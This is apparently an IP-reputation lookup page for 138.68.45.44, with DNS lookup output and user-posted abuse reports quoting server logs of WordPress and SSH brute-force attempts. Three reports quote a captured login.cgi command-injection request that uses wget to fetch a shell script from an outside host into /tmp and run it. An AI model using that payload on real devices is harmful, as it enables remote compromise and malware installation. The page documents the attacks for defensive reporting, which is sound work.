Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: Santa Clara

Region: California

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
IP Type Details Datetime
138.68.45.164 attack
Attempt to hack Wordpress Login, XMLRPC or other login
2020-10-07 05:15:44
138.68.45.164 attackspambots
138.68.45.164 - - [06/Oct/2020:12:16:54 +0100] "POST /wp-login.php HTTP/1.1" 200 2426 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
138.68.45.164 - - [06/Oct/2020:12:17:01 +0100] "POST /wp-login.php HTTP/1.1" 200 2407 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
138.68.45.164 - - [06/Oct/2020:12:17:03 +0100] "POST /wp-login.php HTTP/1.1" 200 2405 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...
2020-10-06 21:24:16
138.68.45.164 attackbotsspam
138.68.45.164 - - [06/Oct/2020:06:45:09 +0200] "GET /wp-login.php HTTP/1.1" 200 9061 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
138.68.45.164 - - [06/Oct/2020:06:45:13 +0200] "POST /wp-login.php HTTP/1.1" 200 9312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
138.68.45.164 - - [06/Oct/2020:06:45:14 +0200] "POST /xmlrpc.php HTTP/1.1" 200 427 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
2020-10-06 13:06:21
138.68.45.170 attack
Jul 28 23:16:57 mout sshd[30832]: Invalid user abcde12345^&* from 138.68.45.170 port 37182
2019-07-29 14:03:58
138.68.45.170 attack
Jul 28 14:33:57 bouncer sshd\[27553\]: Invalid user caonima123456g from 138.68.45.170 port 56902
Jul 28 14:33:57 bouncer sshd\[27553\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.68.45.170 
Jul 28 14:33:59 bouncer sshd\[27553\]: Failed password for invalid user caonima123456g from 138.68.45.170 port 56902 ssh2
...
2019-07-28 20:45:17
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 138.68.45.44
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 60644
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;138.68.45.44.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2026012300 1800 900 604800 86400

;; Query time: 30 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Jan 23 21:04:37 CST 2026
;; MSG SIZE  rcvd: 105
Host info
Host 44.45.68.138.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 44.45.68.138.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
41.238.178.89 attack
DLink DSL Remote OS Command Injection Vulnerability, PTR: host-41.238.178.89.tedata.net.
2019-12-23 15:39:47
103.253.42.49 attack
2019-12-23T05:03:30.691179MailD postfix/smtpd[10217]: warning: unknown[103.253.42.49]: SASL LOGIN authentication failed: authentication failure
2019-12-23T06:15:22.568798MailD postfix/smtpd[14998]: warning: unknown[103.253.42.49]: SASL LOGIN authentication failed: authentication failure
2019-12-23T07:29:48.464004MailD postfix/smtpd[19855]: warning: unknown[103.253.42.49]: SASL LOGIN authentication failed: authentication failure
2019-12-23 15:41:15
80.211.29.59 attack
Dec 23 05:14:10 h2421860 sshd[12972]: reveeclipse mapping checking getaddrinfo for host59-29-211-80.serverdedicati.aruba.hostname [80.211.29.59] failed - POSSIBLE BREAK-IN ATTEMPT!
Dec 23 05:14:10 h2421860 sshd[12972]: Received disconnect from 80.211.29.59: 11: Bye Bye [preauth]
Dec 23 05:14:10 h2421860 sshd[12974]: reveeclipse mapping checking getaddrinfo for host59-29-211-80.serverdedicati.aruba.hostname [80.211.29.59] failed - POSSIBLE BREAK-IN ATTEMPT!
Dec 23 05:14:10 h2421860 sshd[12974]: Invalid user admin from 80.211.29.59
Dec 23 05:14:10 h2421860 sshd[12974]: Received disconnect from 80.211.29.59: 11: Bye Bye [preauth]
Dec 23 05:14:11 h2421860 sshd[12976]: reveeclipse mapping checking getaddrinfo for host59-29-211-80.serverdedicati.aruba.hostname [80.211.29.59] failed - POSSIBLE BREAK-IN ATTEMPT!
Dec 23 05:14:11 h2421860 sshd[12976]: Invalid user admin from 80.211.29.59
Dec 23 05:14:11 h2421860 sshd[12976]: Received disconnect from 80.211.29.59: 11: Bye Bye [pre........
-------------------------------
2019-12-23 16:12:45
128.199.142.0 attackbotsspam
$f2bV_matches
2019-12-23 15:48:22
114.35.191.203 attackspam
Dec 23 07:29:25 debian-2gb-nbg1-2 kernel: \[735312.822246\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=114.35.191.203 DST=195.201.40.59 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=51758 DF PROTO=TCP SPT=51471 DPT=81 WINDOW=14520 RES=0x00 SYN URGP=0
2019-12-23 16:01:44
110.35.79.23 attack
Dec 23 08:43:52 markkoudstaal sshd[12263]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=110.35.79.23
Dec 23 08:43:54 markkoudstaal sshd[12263]: Failed password for invalid user admin from 110.35.79.23 port 54845 ssh2
Dec 23 08:49:26 markkoudstaal sshd[12706]: Failed password for root from 110.35.79.23 port 53897 ssh2
2019-12-23 15:56:11
197.35.222.111 attack
2 attacks on wget probes like:
197.35.222.111 - - [22/Dec/2019:14:35:21 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 15:47:57
156.195.254.199 attackbotsspam
2 attacks on wget probes like:
156.195.254.199 - - [22/Dec/2019:16:08:47 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 15:40:21
36.189.255.162 attack
Dec 23 08:36:30 localhost sshd\[21484\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.189.255.162  user=root
Dec 23 08:36:32 localhost sshd\[21484\]: Failed password for root from 36.189.255.162 port 48976 ssh2
Dec 23 08:41:51 localhost sshd\[21985\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.189.255.162  user=root
2019-12-23 15:47:37
218.75.216.20 attackspambots
Tried sshing with brute force.
2019-12-23 15:52:33
222.186.180.41 attackspam
Dec 23 08:54:11 vps647732 sshd[14291]: Failed password for root from 222.186.180.41 port 48582 ssh2
Dec 23 08:54:14 vps647732 sshd[14291]: Failed password for root from 222.186.180.41 port 48582 ssh2
...
2019-12-23 15:57:44
68.183.193.46 attack
Dec 23 09:05:55 MK-Soft-VM4 sshd[26130]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=68.183.193.46 
Dec 23 09:05:57 MK-Soft-VM4 sshd[26130]: Failed password for invalid user m-itou from 68.183.193.46 port 33716 ssh2
...
2019-12-23 16:06:52
188.166.232.14 attackbotsspam
Dec 23 07:45:22 xeon sshd[555]: Failed password for invalid user pruessner from 188.166.232.14 port 60304 ssh2
2019-12-23 16:04:14
201.7.210.50 attack
10 attempts against mh-misc-ban on heat.magehost.pro
2019-12-23 16:14:30
41.42.109.76 attack
1 attack on wget probes like:
41.42.109.76 - - [22/Dec/2019:07:48:15 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 15:55:51

Recently Reported IPs

192.241.159.109 159.65.217.21 216.180.246.165 204.48.23.79
159.65.223.227 157.245.240.222 27.46.125.162 165.227.90.199
1.12.229.45 180.153.236.169 103.17.242.173 151.242.152.180
91.230.168.89 91.230.168.215 47.92.222.82 185.247.137.103
45.230.66.125 211.121.247.232 116.76.38.223 217.154.69.208